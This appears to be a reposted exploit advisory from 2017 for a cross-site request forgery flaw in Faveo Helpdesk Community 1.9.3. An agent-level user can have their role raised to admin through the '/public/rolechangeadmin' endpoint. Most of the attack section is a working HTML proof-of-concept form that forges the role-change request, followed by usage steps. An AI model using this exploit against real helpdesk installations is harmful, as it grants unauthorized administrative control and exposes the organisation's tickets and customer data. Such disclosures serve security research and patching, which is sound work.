Exploit Title: CSRF / Privilege Escalation (Manipulation of Role Agent to Admin) on Faveo version Community 1.9.3
Date: 05-April-2017
Exploit Author: @rungga_reksya, @yokoacc, @AdyWikradinata, @dickysofficial, @dvnrcy
Vendor Homepage: http://www.faveohelpdesk.com/
Software Link: https://codeload.github.com/ladybirdweb/faveo-helpdesk/zip/v1.9.3
Version: Community 1.9.3
Tested on: Windows Server 2012 Datacenter Evaluation
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L (8.3 - HIGH)
I. Background:
Faveo Helpdesk Open source ticketing system build on Laravel framework. 
Faveo word is derived from Latin which means to be favourable. Which 
truly highlights vision and the scope as well as the functionality of 
the product that Faveo is. It is specifically designed to cater the 
needs of startups and SME's empowering them with state of art, ticket 
based support system. In today's competitive startup scenario customer 
retention is one of the major challenges. Handling client query 
diligently is all the difference between retaining or losing a long 
lasting relationship.
II. Description:
Cross-Site Request Forgery (CSRF) is an attack that forces an end user 
to execute unwanted actions on a web application in which they're 
currently authenticated. CSRF attacks specifically target state-changing
 requests, not theft of data, since the attacker has no way to see the 
response to the forged request. With a little help of social engineering
 (such as sending a link via email or chat), an attacker may trick the 
users of a web application into executing actions of the attacker's 
choosing. If the victim is a normal user, a successful CSRF attack can 
force the user to perform state changing requests like transferring 
funds, changing their email address, and so forth. If the victim is an 
administrative account, CSRF can compromise the entire web application.
Faveo have roles:
- user (Cannot access backend)
 - agent (Can access backend but limited)
 - admin (Can full access backend)
 
CSRF Target is: “/public/rolechangeadmin/USER_ID”
user id = 11 (role is agent)
We have low privilege as “agent” to access application, and then want to change be admin role.
- Make sample our script of CSRF (rolechange.html):
 
<html>
  <!-- CSRF PoC -->
  <body>
    <form action="http://192.168.228.186/faveo-helpdesk-1.9.3/public/rolechangeadmin/11" method="POST">
      <input type="hidden" name="group" value="1" />
      <input type="hidden" name="primary_department" value="3" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
- Before running “rolechange.html”, please login your account as agent and running your html script.
 - Yeaaah, now user id 11 become admin privilege ^_^
 
--> I attach our screenshot and script CSRF:






csrf-faveo-agent-to-admin.txt livedemo.txt






0 komentar:
Posting Komentar